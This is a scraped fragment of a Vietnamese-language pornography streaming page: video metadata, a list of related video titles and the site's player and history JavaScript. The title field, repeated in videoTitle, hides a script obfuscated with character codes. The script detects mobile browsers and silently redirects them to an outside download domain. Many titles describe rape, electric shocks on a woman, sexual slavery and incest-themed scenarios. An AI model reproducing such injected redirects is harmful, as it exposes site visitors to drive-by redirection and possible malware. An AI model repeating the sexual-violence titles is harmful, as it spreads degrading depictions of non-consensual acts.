</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Kỷ luật một con điếm đeo kính, lẳng lơ bằng vòng cổ và dây xích, giật điện vào ngực cô ta, và nhiều cách cưỡng hiếp cô ta khác nhau.</script></title>
Kỷ luật một con điếm đeo kính, lẳng lơ bằng vòng cổ và dây xích, giật điện vào ngực cô ta, và nhiều cách cưỡng hiếp cô ta khác nhau.","site_id":0,"video_url":"https://bfaskcdn.com/20260630/q6elCYyk/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDIvODdlNTBhYjU0MDNiYzczZTZkMmUwNjI2NTYyMDNhYTUuanBn.cache","duration":"49:14","actor":[],"lastmod":1783766805,"rating":"0","view_count":0,"description":null,"tag":["Kính","dâm dục","Đào tạo","lỗ đĩ","nhũ hoa","chó cái","sốc điện","Đa dạng","dây xích chó","chết tiệt","cổ áo"],"site_url":"440306","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["网-曝-门"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MDIvODdlNTBhYjU0MDNiYzczZTZkMmUwNjI2NTYyMDNhYTUuanBn.cache","maker":"","table_name":"videos_aosikazy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"调教淫荡眼镜母狗项圈狗链加身电击奶子骚穴花样操逼","s_keywords":"调教淫荡眼镜母狗项圈狗链加身电击奶子骚穴花样操逼","s_description":"Kỷ luật một con điếm đeo kính, lẳng lơ bằng vòng cổ và dây xích, giật điện vào ngực cô ta, và nhiều cách cưỡng hiếp cô ta khác nhau.","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvOWE0MmExNDU4OTczZTg0MWQ5YTE4M2NmZmZkZjRiY2EuanBn.cache","vod_id":19118022,"title":"Cô nàng lẳng lơ sang chảnh, đeo kính thích bị xâm hại tình dục qua đường hậu môn, âm đạo hồng hào sạch sẽ của cô bị đâm mạnh vào hậu môn, một loạt những cú thúc vừa đau đớn vừa khoái lạc, đẩy cô đến bờ vực điên cuồng.","lastmod":"2026-03-09","duration":"42:38","url":"/play/19118022.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMTIvMzI0NGM2ZjAxNWYxMTIxNmFiZjk0ZWFkYTU3MWQ4NzAuanBn.cache","vod_id":19100785,"title":"Hôm nay tôi gặp một cô gái ngực khủng. Các anh, các anh có thích ngực kiểu đó không?","lastmod":"2025-10-11","duration":"04:35","url":"/play/19100785.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2I2MDQzOTc2OGYwNTkxY2NiOTYyOTlhNDE3ZjZiNWUuanBn.cache","vod_id":18981292,"title":"726ANKK-068-C Ngực khủng dâm đãng","lastmod":"2025-03-19","duration":"01:00:13","url":"/play/18981292.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvN2MzNzM5YWZmZGY1MGZjZmRlYzhlZGU5NDU4ZjBjMGUuanBn.cache","vod_id":19056684,"title":"Một cô gái trẻ với thân hình đầy đặn, ngực khủng đang quan hệ tình dục với bạn trai tại một khách sạn. Cô liếm dương vật của anh ta và trông vô cùng sung sướng khi anh ta thâm nhập vào cô từ phía sau. Cô cưỡi lên người anh ta, vòng ba to tròn làm rung chuyển bộ ngực trắng nõn đầy đặn của cô.","lastmod":"2025-03-19","duration":"15:34","url":"/play/19056684.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzQ0NDJiZGUwZDU2ZDYzNzRlMjE2ZGMxNzA3NmNmZmMuanBn.cache","vod_id":18939226,"title":"[Phát trực tiếp] Cô gái trẻ xinh đẹp khoe kỹ năng của mình trong buổi phát trực tiếp, bao gồm cả quan hệ tình dục bằng miệng và giao hợp đầy đam mê; cực kỳ dâm đãng_30","lastmod":"2025-03-19","duration":"12:51","url":"/play/18939226.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNWU4MjAxNDI5Y2FiYmYzNGZmYTJmZThjNDMyN2VkZDAuanBn.cache","vod_id":19111141,"title":"#3P_#Selfie_Vợ lẳng lơ của tôi thích quan hệ tập thể_Luôn năn nỉ tôi rủ thêm bạn bè cùng tham gia_Thật lẳng lơ 3⃣️","lastmod":"2026-02-03","duration":"00:00:12","url":"/play/19111141.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMWFmNWQyN2EwMDg3N2NkNjliNGRhOTdlODk1MDE0MmEuanBn.cache","vod_id":19110819,"title":"Cốt truyện diễn ra như sau: Một người đàn ông gặp một nữ influencer người Đài Loan trên Twitter tại một quán bar, quay video cô ấy, và bất ngờ thay, cô ấy nhét điện thoại vào ngực và lắc lư chúng trong khi cho anh ta xem. Nửa sau câu chuyện xoay quanh việc họ đi ăn khuya.","lastmod":"2026-02-03","duration":"26:55","url":"/play/19110819.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDFhNGJiMThlNjlkYmMzMWRjMGFlYjM1NzA0MzRkZGYuanBn.cache","vod_id":18984455,"title":"HEYZO 3352 Một phụ nữ trưởng thành lẳng lơ bị cưỡng hiếp dã man – Nami Oyama","lastmod":"2025-03-19","duration":"59:22","url":"/play/18984455.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDQ0M2Q2YzVjZDE0ZWQ0ZDY0YTZmYjI3YzZiYWY0NGUuanBn.cache","vod_id":19065553,"title":"Việc dạy dỗ một cô bạn gái sống độc thân, khiến cô ấy trở nên dịu dàng hơn.","lastmod":"2025-03-19","duration":"04:44","url":"/play/19065553.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTA2YWM0ZGQ1NGJkMjI1Mjc5NzE5OGFmZDUzMzVkNDYuanBn.cache","vod_id":18958607,"title":"Lần đầu tiên huấn luyện hai cô gái liếm và hôn nhau.","lastmod":"2025-03-19","duration":"30:00","url":"/play/18958607.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvOTlhMGJjYmUzYTgyY2E3ODBmYTJjZTY3ODk0OGIyNjcuanBn.cache","vod_id":19125324,"title":"Âm đạo của người phụ nữ này có bị nhét đầy ống nước không? Nữ hoàng đài phun nước liên tục tấn công, đâm mạnh và tàn phá âm đạo và hậu môn của cô ta, dùng nắm đấm đâm vào âm đạo của cô ta.","lastmod":"2026-05-26","duration":"43:33","url":"/play/19125324.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjc3Njc0MGViYmJlNGE0MWE1M2RmMTE2NzdiZTFiNjUuanBn.cache","vod_id":18977470,"title":"ADN-489-C Con xin lỗi, bố ạ. Xin hãy tha thứ cho con vì đã trở nên dâm đãng như vậy khi con lớn lên...","lastmod":"2025-03-19","duration":"01:59:33","url":"/play/18977470.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWM4MjAwNGQ4MmMyNzVkZDc2YjczMTA5ZmQ3MzNhNTIuanBn.cache","vod_id":19024606,"title":"259LUXU-1689 TV hạng sang 1676 \"Chồng tôi gọi tôi lại...\" Một người phụ nữ thanh lịch nhưng dâm đãng, chấp nhận mọi thứ.","lastmod":"2025-03-19","duration":"01:07:47","url":"/play/19024606.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODA5MzI2OGM2ZGE0ZmEyN2JkODc2MGNlYTk1MWE5ZTcuanBn.cache","vod_id":18958486,"title":"Huấn luyện SM kỹ năng cao với nước nhỏ giọt liên tục","lastmod":"2025-03-19","duration":"02:20","url":"/play/18958486.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjJhZmY5NmZmNmM4M2EzNTM3OWE4ZjJlNTE1NmEzMDYuanBn.cache","vod_id":19004453,"title":"[Dì trưởng thành quyến rũ] \"Đẩy mạnh lên con trai, mẹ muốn!\" Lời thoại cực kỳ dâm dục. Một người dì trưởng thành quyến rũ, giữ gìn nhan sắc tốt đang có màn ân ái 69 nồng nhiệt với con đỡ đầu của mình, và người dì đã xuất tinh vào bên trong cậu. Tiếng rên rỉ dâm đãng của người mẹ thật mạnh mẽ!","lastmod":"2025-03-19","duration":"10:48","url":"/play/19004453.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MTIvZjFmYzc4MDI2NGJmYThmNTc1NTU1OTAwNmI2MGI1MDcuanBn.cache","vod_id":19085953,"title":"Con ả lẳng lơ cực độ_tất đen, đôi chân đẹp, mông cong, máy rung, hai lỗ mở_","lastmod":"2025-06-12","duration":"09:12","url":"/play/19085953.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjhmZDlmZjRjMDIxMjc4ZmNlNTY5YWI0NTYxMmQ0YWMuanBn.cache","vod_id":19054829,"title":"Việc xem một người phụ nữ xinh đẹp tự thỏa mãn bản thân trong khi khoe vùng kín màu hồng của mình là rất dâm dục.","lastmod":"2025-03-19","duration":"10:32","url":"/play/19054829.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNzQwMjgwMjZmNWU2YWE4MDg0ZGI1ZTQ2ODgyNmU3MmYuanBn.cache","vod_id":19119372,"title":"Gã gầy gò cặp kè với một cô gái đeo kính trông có vẻ ngây thơ. Họ trở về nhà ăn khuya với rượu ngon và thức ăn hảo hạng. Cô ta giả vờ miễn cưỡng nhưng bị đẩy ngã xuống một cách thô bạo. Tóc dày, da đen, vẻ ngoài dâm đãng chân thực...","lastmod":"2026-03-21","duration":"23:21","url":"/play/19119372.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MjMvODQ2ZjRhMDVjZDMzMDNjZDc1OGZmZThhYTc1N2IwZDkuanBn.cache","vod_id":19098502,"title":"Madou - Phụ đề tiếng Trung - Con điếm nô lệ tình dục của tôi","lastmod":"2025-09-22","duration":"30:43","url":"/play/19098502.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGQ4YjU5ZjAwZTVjZGIyOTE5MjIxZjQ0NTdhNGUxMjQuanBn.cache","vod_id":19038193,"title":"IPX-992-C Một người phụ nữ dâm đãng, ngực khủng, mặc váy ngắn và khoe vòng ba bất ngờ bị một bà mẹ bán đồ ăn vặt đã kết hôn cực kỳ dâm đãng tấn công và quyến rũ.","lastmod":"2025-03-19","duration":"01:57:58","url":"/play/19038193.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjMzZWFkNTE1ZDZlYzJiYTg0YWZhMmU2MGQ3MTIzNjMuanBn.cache","vod_id":19006932,"title":"MIDV-582 \"Cuộc sống thôn quê thật nhàm chán và tẻ nhạt, phải không?\" Một người vợ quyến rũ đeo kính bình thường tham gia vào một màn kịch dài lê thê như phim truyền hình nhiều tập. Những bí mật của một ngôi nhà cổ được hé lộ.","lastmod":"2025-03-19","duration":"02:33:23","url":"/play/19006932.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTVhYjI5Mjk1OTYzOGNlNTJmOGM2M2UwMWJkNjhmMDguanBn.cache","vod_id":19032471,"title":"#Nổi bật #Ngoài trời Hé lộ trong rừng Ngực khủng đung đưa 27","lastmod":"2025-03-19","duration":"01:58","url":"/play/19032471.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzdiNTM2ZmVkMThlY2Y1OTM4NjE1Yzc4NDUzYzcwNjUuanBn.cache","vod_id":19038721,"title":"[Một cô gái trẻ xinh đẹp trong bộ vest công sở] Cô kéo quần xuống, để lộ chiếc quần lọt khe bên dưới. Một gã đàn ông dâm đãng bụng béo đã quan hệ với cô, và cô cưỡi lên người hắn, tự mình di chuyển âm đạo. Hắn xuất tinh quá nhanh và không thể làm cô thỏa mãn.","lastmod":"2025-03-19","duration":"16:45","url":"/play/19038721.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODExZjE4ODBiYjYwNWRjMmZhMzQ4ZjQ2YTQyOWE5MGUuanBn.cache","vod_id":19030562,"title":"Vào đêm khuya, tôi quan hệ với một cô gái trẻ xinh đẹp, cởi hết quần áo của cô ấy, xoa bóp bộ ngực lớn, liếm láp và kích thích bằng miệng, rồi đâm vào cô ấy từ phía sau trong khi giữ chặt mông cô ấy. Tôi tiếp tục cuộc giao hợp đầy đam mê và mãnh liệt.","lastmod":"2025-03-19","duration":"27:14","url":"/play/19030562.html"}]},
videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Kỷ luật một con điếm đeo kính, lẳng lơ bằng vòng cổ và dây xích, giật điện vào ngực cô ta, và nhiều cách cưỡng hiếp cô ta khác nhau.</script></title>',
language: 'vi',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Đã sao chép liên kết!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}